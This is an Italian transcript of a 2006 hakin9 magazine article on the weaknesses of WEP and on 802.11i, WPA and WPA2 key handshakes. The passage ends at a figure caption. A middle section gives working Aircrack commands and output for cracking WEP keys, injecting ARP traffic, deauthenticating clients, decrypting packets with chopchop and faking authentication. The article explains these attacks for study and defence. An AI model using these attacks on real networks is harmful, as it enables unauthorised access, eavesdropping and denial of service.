sicurezza wep, wpa e wpa2

15
Sicurezza Wi-Fi – WEP, WPA e WPA2 Guillaume Lehembre Articolo pubblicato nel numero 2/2006 della rivista hakin9 Tutti i diritti riservati. E vietato copiare e divulgare l’articolo in forma modificata. Rivista hakin9, Casa editrice Software-Wydawnictwo, via Piaskowa 3, 01-067 Varsavia, Polonia; [email protected]

Upload: gnuprojectstaff

Post on 24-Jun-2015

589 views

Category:

Documents


5 download

TRANSCRIPT

Page 1: Sicurezza WEP, WPA e WPA2

Sicurezza Wi-Fi – WEP, WPA e WPA2

Guillaume Lehembre

Articolo pubblicato nel numero 2/2006 della rivista hakin9

Tutti i diritti riservati. E vietato copiare e divulgare l’articolo in forma modificata.

Rivista hakin9, Casa editrice Software-Wydawnictwo, via Piaskowa 3, 01-067 Varsavia, Polonia; [email protected]

Page 2: Sicurezza WEP, WPA e WPA2

www.hakin9.orghakin9 Nº 2/200614

Prima pagina

Anche quando i dispositivi Wi-Fi hanno le misure di sicurezza attivate, viene spesso usato un protocollo di cifratura

debole come il WEP. In questo articolo, esa-mineremo le debolezze del WEP e vedremo come è facile crackare il protocollo. La de-plorevole inadeguatezza del WEP mette in evidenza la necessità di una nuova architettura di sicurezza come lo standard 802.11i, quindi analizzeremo da vicino anche i nuovi standard WPA e WPA2 insieme ai loro limiti e la loro in-tegrazione nei sistemi operativi.

In memoria del WEPIl WEP (Wired Equivalent Privacy) era il proto-collo di cifratura predefinito del primo standard IEEE 802.11 introdotto nel lontano 1999. Esso si basa su un algoritmo di cifratura RC4 con una chiave segreta di 40 bit o 104 bit combinata con un vettore d'inizializzazione (Initialisation Vector, IV) di 24 bit per cifrare il messaggio in chiaro M e il relativo checksum – il cosiddetto valore di controllo dell'integrità (Integrity Check Value, ICV). Il messaggio cifrato C viene quindi prodotto con la seguente formula:

C = [ M || ICV(M) ] + [ RC4(K || IV) ]

dove || è un operatore di concatenazione e + è un operatore XOR. Come possiamo vede-re, il vettore d'inizializzazione IV è la chiave di sicurezza WEP, quindi per mantenere un livello decente di sicurezza e minimizzare la divulgazione, il vettore IV dovrebbe essere aumentato per ogni pacchetto in modo che i pacchetti successivi sono cifrati con chiavi di-verse. Sfortunatamente in questo caso, il vetto-re IV è trasmesso in formato testo e lo standard 802.11 non si occupa dell'aumento del vettore IV, lasciando questo metodo di sicurezza

Sicurezza Wi-Fi – WEP, WPA e WPA2

Guillaume Lehembre

Grado di difficoltà

Il Wi-Fi (Wireless Fidelity) è una delle tecnologie wireless più importanti dei nostri giorni ed è sempre più presente nei nostri dispositivi: portatili, palmari e cellulari. Eppure c'è una aspetto relativo alla sua configurazione che viene spesso trascurato: la sicurezza. Analizziamo meglio la sicurezza dei metodi di crittografia usati nelle moderne apparecchiature Wi-Fi.

Dall'articolo imparerai...• i limiti della crittografia WEP,• una panoramica generale sullo standard

802.11i e le sue implementazioni commerciali: WPA e WPA2,

• i concetti base del 802.1x,• le eventuali debolezze di WPA e WPA2.

Cosa dovresti sapere...• i concetti base dei protocolli TCP/IP e Wi-Fi,• conoscenza base di crittografia.

Page 3: Sicurezza WEP, WPA e WPA2

Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006www.hakin9.org 15

a particolari componenti di terminali wireless (punto d'accesso o scheda wireless).

Breve storia del WEPIl protocollo WEP non era stato creato da esperti di sicurezza né da critto-grafi, quindi si rilevò subito vulnerabile ai problemi relativi all'algoritmo RC4 descritti da David Wagner quattro anni prima. Nel 2001, Scott Fluhrer, Itsik Mantin e Adi Shamir (FMS in breve) pubblicarono un famoso studio sul WEP, mostrandone le vulnerabilità in termini di RC4: la invariance weak-ness e gli attacchi a vettori IV cono-sciuti. Entrambi gli attacchi si basano sul fatto che i bit nei byte iniziali del keystream possono dipendere solo da alcuni bit della chiave di cifratura (an-che se di solito ogni keystream ha il 50% delle possibilità di essere diverso dal flusso precedente). Dal momento che la chiave di cifratura è composta dalla concatenazione della chiave se-greta e il IV, alcuni valori del vettore IV possono generare chiavi deboli.

Le vulnerabilità vennero sfruttate da strumenti di sicurezza come Air-Snort che permettono alle chiavi WEP di essere recuperate analizzando una quantità sufficiente di traffico. Mentre questo tipo di attacco potrebbe esse-re eseguito con successo su una rete impegnata entro un intervallo di tem-po ragionevole, il tempo richiesto per l'elaborazione dei dati è abbastanza lungo. David Hulton (h1kari) progettò una versione ottimizzata dell'attacco, prendendo in considerazione non solo i primi byte del RC4 (come nel model-lo FMS), ma anche i successivi byte. Questo portò ad una leggera riduzio-ne dei dati richiesti per l'analisi.

La fase di verifica dell'integrità soffre anche di gravi debolezze dovute all'algoritmo CRC32 usato per questo compito. CRC32 è usato di solito per la rilevazione di errori, ma non era mai stato considerato sicuro a livello critto-grafico a causa della sua linearità, co-me affermarono già Nikita Borisov, Ian Goldberg e David Wagner nel 2001.

Da allora si ritiene che il WEP fornisce un livello di sicurezza ac-cettabile solo per utenze domestiche e applicazioni non-cruciali. Tuttavia,

anche questa utilità venne smentita con l'apparizione degli attacchi KoreK nel 2004 (attacchi FMS generalizzati che comprendono le ottimazione di h1kari), e l'attacco induttivo di Arbau-gh che consente ai pacchetti arbitrari di essere decriptati senza conoscere la chiave attraverso il packet injec-tion. Dei programmi per il cracking come Aircrack di Christophe Devine o WepLab di José Ignacio Sánchez implementano questi attacchi e pos-sono recuperare una chiave WEP di 128 bit in meno di 10 minuti (o poco più, a secondo del punto accesso specifico e la scheda wireless).

L'aggiunta di packet injection mi-gliora notevolmente i tempi di cracking del WEP, richiedendo non milioni, ma solo migliaia di pacchetti con suffi-cienti IV unici – circa 150.000 per una chiave da 64 bit e 500.000 per una chiave da 128 bit. Con il packet injection, raccogliere i dati necessari

richiedeva una manciata di minuti. Al momento, WEP è quasi definitiva-mente morto (vedere Tabella 1) e non ne è consigliabile l'uso neanche con una chiave a rotazione.

I limiti di sicurezza del WEP potreb-bero essere riassunte come segue:

• debolezze dell'algoritmo RC4 del protocollo WEP a causa della co-struzione della chiave,

• IV sono troppo brevi (24 bit – me-no di 5000 pacchetti richiesti per una probabilità del 50% di colli-sione) e riutilizzo di IV consentito (nessuna protezione contro le ripetizioni di messaggio),

• nessuna valida verifica di integri-tà (CRC32 è usato per la rileva-zione degli errori e non è sicuro a livello crittografico a causa della sua linearità),

• nessun metodo integrato per l'ag-giornamento delle chiavi.

Fig. 1: Protocollo di cifratura WEP

Tabella 1. Storia del WEP

Data DescrizioneSettember 1995

Possibile vulnerabilità RC4 (Wagner)

Ottober 2000 Primo studio sui limiti del WEP: Unsafe at any key size; An analysis of the WEP encapsulation (Walker)

May 2001 Un attacco induttivo in testo chiaro contro il WEP/WEP2 (Arbaugh)

July 2001 Attacco CRC di tipo bit flipping – Intercepting Mobile Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)

August 2001 Attacchi FMS – Weaknesses in the Key Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir)

August 2001 Uscita di AirSnortFebruary 2002 Attacchi FMS ottimizzati da h1kariAugust 2004 Attacchi KoreK (IV unici) – uscita di chopchop e chopperJuly/August 2004

Uscita di Aircrack (Devine) e WepLab (Sanchez ) che implementa gli attacchi KoreK

Page 4: Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006 www.hakin9.org

Prima Pagina

16

Il cracking della chiave WEP con AircrackIl cracking del WEP può essere fa-cilmente eseguito usando strumenti quali Aircrack (creato dal ricercatore francese Christophe Devine). Air-crack contiene tre utility principali, usate in tre fasi di attacco diverse per il recupero della chiave:

• airodump: per lo sniffing e la cat-tura delle reti provviste del WEP,

• aireplay: per il packet injection e aumento del traffico,

• aircrack: per il cracking di chiavi WEP attraverso la cattura di IV unici.

Al momento aireplay supporta l'injec-tion solo su determinati chipset wire-less, mentre l'injection in modalità di monitoraggio (monitor mode) richiede i più moderni driver patchati. La moda-lità di monitoraggio è l'equivalente del-la modalità promiscua nelle reti wired, e evitano il rifiuto dei pacchetti che non sono intesi per l'host che monitora (che è spesso svolto nel livello fisico della pila OSI) e quindi consentendo ai pacchetti di essere catturati. Con i dirver patchati, è richiesta solo una scheda wirelss per catturare e aumen-tare il traffico allo stesso tempo.

Lo scopo principale dell'attacco è di generare traffico e catturare i vet-tori IV unici usati tra un client legittimo e un punto d'accesso. Alcuni dati cifra-ti sono facilmente riconoscibili perché hanno una lunghezza fissa, un indiriz-zo di destinazione fisso, ecc. Questo

è il caso dei pacchetti di richiesta ARP (vedere Riquadro Richieste ARP), che sono inviati all'indirizzo broadcast (FF:FF:FF:FF:FF:FF) e hanno una lunghezza fissa di 68 ottetti. Le richie-ste ARP possono essere ritrasmesse per generare nuove risposte ARP da un host legittimo, che risulta nello stesso messaggio wireless cifrato con i nuovi IV.

Nei seguenti esempi, 00:13:10:1F:9A:72 è l'indirizzo MAC del punto di accesso (BSSID) sul canale 1 con il SSID di hakin9demo e 00:09:5B:EB:C5:2B è l'indirizzo MAC del client wireless (usando WEP o WPA-PSK, a secondo dei casi). Per eseguire lo sniffing avremo bisogno dei privilegi di root.

Il primo passo è attivare la mo-dalità monitor sulla nostra scheda wireless (in questo caso un modello Atheros), quindi possiamo catturare tutto il traffico (vedere Listing 1). Il passo successivo è rilevare le reti vicine e i loro client controllando tutti i 14 canali che le reti Wi-Fi possono usare (vedere Listing 2).

Il risultato nel Listing 2 è inter-pretato come segue: un punto di ac-cesso con il BSSID 00:13:10:1F:9A:72 usa la cifratura WEP sul canale 1 con il SSID hakin9demo e un client identificato dall'indirizzo MAC 00:0C:F1:19:77:5C sono associati con questa rete wireless e autenticati.

Una volta localizzata la rete di destinazione, è necessario iniziare la cattura sul canale corretto per evitare di mancare i pacchetti mentre

si scansionano gli altri canali. Il se-guente comando produce lo stesso output del comando precedente:

# airodump ath0 wep-crk 1

Successivamente, possiamo usare le informazioni raccolte prima per aumentare il traffico con aireplay. L'injection inizierà quando ci appare nella rete wireless una richiesta ARP associata con il BSSID:

# aireplay -3 \

-b 00:13:10:1F:9A:72 \

-h 00:0C:F1:19:77:5C \

-x 600 ath0

(...)

Read 980 packets

(got 16 ARP requests),

sent 570 packets...

Infine, aircrack viene usato anche per recuperare la chiave WEP. Attra-verso il file pcap possiamo lanciare questo passo finale mentre airodump è ancora intento a catturare i dati (ve-dere Fig. 2 per i risultati):

# aircrack -x -0 wep-crk.cap

Altri tipi di attacchi con AircrackAircrack è in grado di lanciare anche altri tipi di attacchi molto interessanti. Analizziamone alcuni.

Richieste ARPIl protocollo Address Resolution Pro-tocol (ARP – RFC826) è usato per tradurre un indirizzo IP di 32 bit in un indirizzo Ethernet di 48 bit (le reti Wi-Fi usano anche il protocollo Ethernet). Per illustrarlo meglio, prendiamo un host A (192.168.1.1) che vuole comunicare con l'host B (192.168.1.2), un indirizzo IP noto deve essere tradotto in un indiriz-zo MAC usando il protocollo ARP. Per farlo, l'host A invia un messaggio broa-dcast con l'indirizzo IP dell'host B (Who has 192.168.1.2? Tell 192.168.1.1). L'host di destinazione riconosce l'indi-rizzo IP nel pacchetto è uguale al suo e restituisce una risposta (192.168.1.2 is at 01:23:45:67:89:0A). La risposta viene di solito memorizzata.

Listing 1. Attivazione della modalità di monitoraggio

# airmon.sh start ath0

Interface Chipset Driver

ath0 Atheros madwifi (monitor mode enabled)

Listing 2. Rilevazione di reti vicine e dei rispettivi client

# airodump ath0 wep-crk 0

BSSID PWR Beacons # Data CH MB ENC ESSID

00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo

BSSID STATION PWR Packets ESSID

00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo

Page 5: Sicurezza WEP, WPA e WPA2

Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006www.hakin9.org 17

Attacco 2: DeautenticazioneQuesto attacco può essere usato per recuperare un SSID nascosto (cioè che non è broadcast), catturare una handshake WPA a 4 vie o lanciare un attacco di tipo Denial of Service (ne parleremo in dettaglio più avanti, nella sezione sul 802.11i). Lo scopo dell'attacco è di obbligare il client a ri-autenticarsi che, insieme ad una mancata autenticazione per le trame di controllo (usati per l'autenticazione, associazione, ecc), consente all'ag-gressore di falsare gli indirizzi MAC.

Un client wireless può essere de-autenticato con il seguente comando facendo in modo che i pacchetti di de-autenticazione siano inviati dal BSSID al client MAC falsificando il BSSID:

# aireplay -0 5

-a 00:13:10:1F:9A:72

-c 00:0C:F1:19:77:5C

ath0

La de-autenticazione di massa è altret-tanto possibile (anche se non sempre affidabile) chiedendo all'aggressore di falsificare continuamente il BSSID e re-inviare il pacchetto di de-autenti-cazione all'indirizzo broadcast:

# aireplay -0 0

-a 00:13:10:1F:9A:72

ath0

Attacco 3: Decriptare pacchetti WEP arbitrari senza conoscerne la chiaveQuesto attacco si basa su uno stru-mento proof-of-concept della KoreK detto chopchop che è in grado di de-criptare i pacchetti WEP cifrati senza conoscerne la chiave. Il controllo di integrità implementato sul protocollo WEP permette ad un aggressore di modificare sia un pacchetto cifrato sia il CRC corrispondente. Inoltre, l'uso dell'operatore XOR nel pro-tocollo WEP significa che il byte selezionato nel messaggio cifrato dipende sempre dallo stesso byte del messaggio in chiaro. Eliminando l'ultimo byte del messaggio cifrato genera una corruzione del messag-gio ma permette anche di indovinare il valore del byte corrispondente in

formato testo e adeguare il messag-gio cifrato.

Se il pacchetto corretto è poi re-injected nella rete, esso verrà abbandonato dal punto di accesso se la previsioni sono sbagliate (in tal caso deve essere fatto una nuova previsione), ma per una previsione corretta verrà ritrasmesso come al solito. Ripetendo l'attacco per tutti i byte del messaggio si può decifrare un pacchetto WEP e recuperare il keystream. Tenente a mente che nel protocollo WEP l'incremento del vet-tore IV non è obbligatorio, è possibile riutilizzare questo keystream per falsare i pacchetti successivi (riutiliz-zando lo stesso IV).

La scheda wireless deve essere passata in modalità di monitoraggio sul canale giusto (vedere l'esempio precedente per una descrizione su co-me fare). L'attacco deve essere lancia-to contro un client legittimato (ancora 00:0C:F1:19:77:5C nel nostro caso) e aireplay dirà all'aggressore di accet-tare ogni pacchetto cifrato (vedere Li-sting 3). Vengono creati due file pcap: uno per il pacchetto decifrato e l'altro per il relativo keystream. Il file che ne risulta può essere letto attraverso un lettore adatto (useremo tcpdump) – vedere Listing 4 per un ping di esem-pio scambiato tra due host.

Una volta catturato il keystream è possibile falsare qualsiasi pac-chetto. Di seguito vi presentiamo una richiesta ARP falsata inviata da

192.168.2.123 (00:0C:F1:19:77:5C) a 192.168.2.103:

# arpforge \

replay_dec-0916-114019.xor \

1 \

00:13:10:1F:9A:72 \

00:0C:F1:19:77:5C \

192.168.2.123 \

192.168.2.103 \

forge-arp.cap

Infine, aireplay è usato per ritra-smettere questo pacchetto (vedere Listing 5).

Questo metodo è meno automa-tico della falsificazione della richiesta ARP eseguita da Aircrack (l'opzione -1), ma è più scalabile – l'aggressore può usare i keystream scoperti per alterare qualsiasi pacchetto che non appartiene più al keystream (altrimenti è necessario espandere il keystream).

Attacco 4: Falsa autenticazioneIl metodo per cracker la chiave WEP appena descritto (Attacchi 1 e 3) richiedono un client legittimo (reale o virtuale, anche se reale è preferibile) che sia associato ad un punto d'ac-cesso affinché il punto d'accesso non rifluiti i pacchetti a causa di un indirizzo di destinazione non associato.

Se viene usata un'autenticazione aperta, qualsiasi client può essere autenticato e associato con un punto di accesso, ma il punto di accesso ri-

Fig. 2: Risultati di Aicrack dopo alcuni minuti

Page 6: Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006 www.hakin9.org

Prima Pagina

18

fiuterà ogni pacchetto non cifrato con la chiave WEP giusta. Nell'esempio del Listing 6, Aireplay è usato per falsificare un'autenticazione e un'as-sociazione per il SSID hakin9demo (BSSID: 00:13:10:1F:9A:72) con l'in-dirizzo MAC falsato 0:1:2:3:4:5.

Alcuni punti di accesso richiedo-no ai client di riassociarsi ogni 30 se-condi. Questo comportamento può essere imitato in aireplay sostituen-do la seconda opzione (0) con 30.

802.11iNel gennaio del 2001, nell'ambito dell'IEEE venne creato un task group i per migliorare l'autenticazione dei dati 802.11 e la sicurezza crittografica. Nell'aprile del 2003, la Wi-Fi Alliance (un'associazione per la promozione e la certificazione Wi-Fi) distribuì una raccomandazione per rispondere alle preoccupazioni delle aziende in me-rito alla sicurezza wireless. Tuttavia, erano anche consapevoli del fatto che i clienti non avrebbero sostituito la loro attrezzatura tanto facilmente.

Nel giugno del 2004, venne adottato lo standard 802.11i e ricette il nome commerciale di WPA2 dalla Wi-Fi Alliance stessa. Lo standard IEEE 802.11i introdusse cambiamenti fondamentali come la separazione tra l'autenticazione dell'utente dalla segretezza e l'integrità del messaggio, fornendo una architettura di sicurezza robusta e scalabile adatta sia per le reti domestiche sia per grossi sistemi aziendali. La nuova architettura per le reti wireless è nominata Robust Security Network (RSN) e utilizza l'au-tenticazione 802.1X, una distribuzione della chiave robusta e nuovi meccani-smi di segretezza e integrità dei dati.

Anche se l'architettura RSN è molto complessa, essa fornisce delle soluzioni sicure e scalabili per le comunicazioni wireless. Un RSN normalmente accetta solo disposi-tivi RSN, ma IEEE 802.11i definisce anche un'architettura Transitional Security Network (TSN) in cui pos-sono partecipare sia RSN sia i si-stemi WEP, consentendo anche agli utenti di aggiornare i loro strumenti. Se le procedure di autenticazione o di associazione usate tra le sta-

Listing 3. Decriptare pacchetti WEP senza conoscere la chiave

# aireplay -4 -h 00:0C:F1:19:77:5C ath0

Read 413 packets...

Size: 124, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:13:10:1F:9A:72

Dest. MAC = 00:13:10:1F:9A:70

Source MAC = 00:0C:F1:19:77:5C

0x0000: 0841 d500 0013 101f 9a72 000c f119 775c .A.......r....w\

0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c .....p.@.......,

0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \.'...h.#..GZ.[v

0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x.....0...hV.Sl

0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 pF_..K....j.4wt.

0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 .......5#.U...[.

0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 .+>.[...";.D7...

0x0070: 3b88 c5b1 0843 0289 1bff 5160 ;....C....Q`

Use this packet ? y

Saving chosen packet in replay_src-0916-113713.cap

Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms

Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms

(...)

Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms

Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms

Saving plaintext in replay_dec-0916-114019.cap

Saving keystream in replay_dec-0916-114019.xor

Completed in 183s (0.47 bytes/s)

Listing 4. Lettura di un file pcap

# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap

reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)

11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5c DA:00:13:10:1f:

9a:70

LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),

ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:

ICMP echo request, id 23046, seq 1, length 64

Listing 5. Ritrasmissione di un pacchetto alterato

# aireplay -2 -r forge-arp.cap ath0

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:13:10:1F:9A:72

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 00:0C:F1:19:77:5C

0x0000: 0841 0201 0013 101f 9a72 000c f119 775c .A.......r....w\

0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c ...............,

0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.'.I.`.%.KF....

0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a ..S.o-.....3..Q.

0x0040: 49b7 52da I.R.

Use this packet ? y

Saving chosen packet in replay_src-0916-124231.cap

You must also start airodump to capture replies.

Sent 1029 packets...

Listing 6. Falsa autenticazione

# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0

18:30:00 Sending Authentication Request

18:30:00 Authentication successful

18:30:00 Sending Association Request

18:30:00 Association successful

Page 7: Sicurezza WEP, WPA e WPA2

Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006www.hakin9.org 19

zioni utilizza una handshake a 4 vie, l'associazione è detta RSNA (Robust Security Network Association).

Per stabilire una comunicazione è necessario avere quattro fasi (ve-dere Fig. 4):

• accordo sulla politica di sicurezza,• autenticazione 802.1X,• derivazione e distribuzione di

chiave,• segretezza e integrità dei dati

RSNA.

Fase 1: Accordo sulla politica di sicurezzaLa prima fase richiede alle parti coin-volte nella comunicazione di stabilire un accordo sulla politica di sicurezza da adottare. Le politiche di sicurezza supportate dal punto di accesso sono

pubblicizzate su Beacon o in un mes-saggio Probe Respond (seguendo un Probe Request dal client). Ne segue un'autenticazione aperta standard (proprio come nelle reti TSN, dove l'autenticazione è sempre a buon fine).

La risposta del client viene incluso nel messaggio di tipo Association Request confermato dalla risposta Association Response dal punto di accesso. Le informazioni sulla politica di sicurezza è inviata nel campo RSN IE (Informa-tion Element) con i dettagli su:

• metodi di autenticazione suppor-tati (802.1X, Chiave segrete pre-condivisa (PSK)),

• protocolli di sicurezza per traffico unicast (CCMP, TKIP ecc.) – la pairwise cipher suite,

• protocolli di sicurezza per il traf-fico multicast (CCMP, TKIP etc.) – il group cipher suite,

• supporto per la pre-autentica-zione, permettendo agli utenti di pre-autenticarsi prima di passare ad un nuovo punto di accesso della stessa rete per un passag-gio senza interruzioni.

La Fig. 5 raffigura la prima fase.

Fase 2: autenticazione 802.1XLa seconda fase è l'autenticazione 802.1X basata sul EAP e il metodo di autenticazione concordato in prece-denza: EAP/TLS con certificati client e server (che richiedono una infra-struttura per chiave pubblica), EAP/TTLS o PEAP per l'autenticazione ibrida (con certificato richiesti solo per i server) ecc. L'autenticazione 802.1X viene iniziata quando il punto di accesso richiede i dati di identità del client, con la risposta del client contenente il metodo di autentica-zione scelto. I messaggi adatti sono poi scambiati tra il client e il server

IEEE 802.1X e EAPIl protocollo di autenticazione IEEE 802.1X (noto anche come Port-Based Network Ac-cess Control) è una framework sviluppata in origine per le reti wired che fornisce mec-canismi di autenticazione, di autorizzazione e di distribuzione chiave, e implementano il controllo sull'accesso per utenti che entrano nella rete. L'architettura IEEE 802.1X si compone di tre entità principali:

• il supplicant che entra nella rete,• l'autenticatore che fornisce il controllo sugli accessi,• il server di autenticazione che esegue le autorizzazioni.

Nelle reti wireless, il punto di accesso funge da autenticatore. Ogni porta fisica (porta virtuale nelle reti wireless) si divide in due porte logiche che compongono il PAE (Port Access Entity). L'autenticazione del PAE è sempre aperta e permette di far passare i le trame di autenticazione mentre il servizio PAE viene aperto solo in seguito ad una autenticazione andata a buon fine (come in uno stato autorizzato) per un certo periodo di tempo (3600 secondi di default). La decisione di permettere l'accesso è eseguita di solito dalla terza entità, cioè il server di autenticazione (che può essere un server Radius dedicato o – per esempio nel caso di reti domestiche – un processo che gira su un punto di accesso). La Fig. 3 illustra come queste tre entità comunicano tra loro.

Lo standard 802.11i esegue piccole modifiche al IEEE 802.1X per le reti wireless per far fronte alla possibilità di furto di identità. L'autenticazione del messaggio deve es-sere incorporato affinché sia il supplicant sia l'autenticatore calcolino le chiavi segrete e permettono la cifratura prima di accedere alla rete.

Il supplicant e l'autenticatore comunicano usando un protocollo EAP. Come potete notare, il ruolo dell'autenticatore è essenzialmente passivo – potrebbe semplicemen-te inoltrare tutti i messaggi al server di autenticazione. EAP è una framework per il trasporto di diversi metodi di autenticazione, accettando solo un numero limitato di messaggi (Request, Response, Success, Failure), mentre gli altri messaggi interme-diari dipendono dal metodo di autenticazione scelto: EAP-TLS, EAP-TTLS, PEAP, Kerberos V5, EAP-SIM ecc. Quando l'intero processo è completato (a causa del gran numero di possibili metodi non ci addentreremo nei dettagli), entrambe le entità (cioè il supplicant e il server di autenticazione) hanno una chiave principale segreta. La comunicazione tra l'autenticatore e il server di autenticazione procede utilizzando il protocollo EAPOL (EAP Over LAN), usato nelle reti wireless per il trasporto di dati EAP con i protocolli di livello superiore come Radius.

Fig. 3: Modello IEEE 802.1X dalla specifica IEEE 802.1X

Page 8: Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006 www.hakin9.org

Prima Pagina

20

di autenticazione per generare una chiave maestra comune (MK). Alla fine della procedura, un messaggio Radius Accept è inviato dal server di autenticazione al punto di accesso che contiene la MK e il messaggio EAP Success per il client. La Fig. 6 rappresenta questa seconda fase.

Fase 3: Distribuzione e gerarchia di chiave La sicurezza nelle connessioni dipende molto dalle chiavi segre-te. Nel RSN, ogni chiave ha una vita limitata e la sicurezza generale è garantita da un'insieme di diverse chiavi, organizzate in una gerarchia. Quando viene stabilito un contesto di sicurezza dopo una autenticazione andata a buon fine, le chiavi tempo-ranee (di sessione) vengono create e aggiornate regolarmente fino a quando il contesto di sicurezza non viene chiuso. La generazione e lo scambio delle chiavi sono affidati alla terza fase. Si hanno due handshake durante le derivazione delle chiavi (vedere Fig. 7):

• Handshake a quattro vie per la derivazione della PTK (Pairwise Transient Key) e della GTK (Group Transient Key),

• Group Key Handshake per il rin-novo della GTK.

La derivazione della PMK (Pairwise Master Key) dipende dal metodo di autenticazione usato:

• se viene usata una PSK (Pre-Shared Key), PMK = PSK. La

PSK viene generata dalla pas-sphrase (da 8 a 63 caratteri) o una stringa di 256 bit e for-nisce una soluzione per le reti domestiche e di piccole imprese che non hanno un server di au-tenticazione,

• se viene usato un server di au-tenticazione, la PMK è derivata dall'autenticazione 802.1X MK.

La PMK stessa non è mai usata per il controllo di cifratura o integrità. Inve-ce, è usato per generare una chiave di cifratura temporanea – per il traffi-co unicast si tratta di una PTK (Pai-rwise Transient Key). La lunghezza della PTK dipende dal protocollo di cifratura: 512 bit per TKIP e 384 bit per CCMP. La PTK consiste di diver-se chiavi temporanee:

• KCK (Key Confirmation Key – 128 bit): Chiave per i messaggi di autenticazione (MIC) durante la Handshake a 4 vie e la Group Key Handshake,

• KEK (Key Encryption Key – 128 bit): Chiave per garantire la se-gretezza durante la Handshake a 4 vie e la Group Key Handshake,

• TK (Temporary Key – 128 bit): Chiave per la cifratura dei dati (usata per TKIP o CMMP),

• TMK (Temporary MIC Key – 2x64 bit): Chiave per l'autenticazione

Fig. 4: Le fasi operative del 802.11i

Fig. 5: Fase 1: Accordo sulla politica di sicurezza

Fig. 6: Fase 2: Autenticazione 802.1X

Page 9: Sicurezza WEP, WPA e WPA2

Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006www.hakin9.org 21

dei dati (usata solo da Michael con TKIP). Una chiave dedicata è usata per ogni lato delle comu-nicazione.

Questa gerarchia è riassunta nella Fig. 8.

Tramite la Handshake a 4 vie, iniziata dal punto di accesso, è pos-sibile:

• confermare la conoscenza del client della PMK,

• derivare una nuova PTK,• installare chiavi di cifratura e di

integrità,• cifrare il trasporto della GTK,• confermare la selezione di cifratori.

I quattro messaggi EAPOL-Key so-no scambiati tra il client e il punto di accesso durante la Handshake a 4 vie. Questo processo viene illustrato nella Fig. 9.

La PTK viene derivata dalla PMK, una stringa fissa, l'indirizzo MAC del punto di accesso, l'indirizzo MAC del client e due numeri casuali (ANonce e SNonce, generati rispettivamente dall'autenticatore e il supplicant). Il punto di accesso inizializza il primo messaggio selezionando il numero casuale ANonce e lo invia al sup-plicant, senza cifrare il messaggio o proteggendolo in alternativa contro il miscuglio. Il supplicant genera il pro-prio numero causale SNonce e ades-so può calcolare una PTK e le chiavi di derivazione temporanee, quindi invia SNonce e la chiave MIC calcolata dal secondo messaggio usando la chiave KCK. Quando l'autenticatore riceve il secondo messaggio, può estrarre SNonce (perché il messaggio non è cifrato) e calcolare la PTK e le chiavi di derivazione temporanee. Adesso può verificare il valore della MIC nel secondo messaggio e essere sicuro che il supplicant conosca la PMK e che ha calcolato correttamente la PTK e le chiavi di derivazione temporanee.

Il terzo messaggio inviato dal-l'autenticatore al supplicant con-tiene la GTK (cifrata con la chiave KEK), derivata da una GMK casuale e GNonce (vedere Fig. 10 per det-tagli), insieme ad una MIC calcolata

dal terzo messaggio usando la chia-ve KCK. Quando il supplicant riceve questo messaggio, la MIC viene controllata per essere sicuri che l'autenticatore conosca la PMK e ha calcolato correttamente la PTK e le chiavi di derivazione temporanee.

L'ultimo messaggio riconosce il completamento dell'intera handshake e indica che il supplicant adesso in-stallerà la chiave e iniziare la cifratura. Dopo la ricezione, l'autenticatore in-stalla le proprie chiavi dopo aver verifi-cato il valore MIC. Quindi, il dispositivo mobile e il punto di accesso hanno ottenuto, calcolato e installato le chiavi di cifratura e adesso sono in grado di comunicare su un canale sicuro per traffico unicast e multicast.

Il traffico multicast è protetto da un'altra chiave, la GTK (Group Tran-sient Key) generata da una chiave principale detta GMK (Group Master Key), una stringa fissa, l'indirizzo

MAC del punto di accesso e un nu-mero casuale GNonce. La lunghez-za GTK dipende dal protocollo di cifratura – 256 bit per la TKIP e 128 bit per la CCMP. La GTK si divide in diverse chiavi temporanee:

• GEK (Group Encryption Key): Chiave per la cifratura dei dati (usata da CCMP per l'autentica-zione e la cifratura e dalla TKIP),

• GIK (Group Integrity Key): Chiave per l'autenticazione dei dati (usa-ta solo da Michael con TKIP).

Questa gerarchia è riassunta nella Fig. 10.

Durante il Group Key Handshake vengono scambiati due messaggi EA-POL-Key tra il client e il punto di acces-so. Questa handshake fa uso di chiave temporanee generate durante la Han-dshake a 4 vie (KCK e KEK). Questo processo è illustrato nella Fig. 11.

Fig. 7: Fase 3: Derivazione e distribuzione di chiave

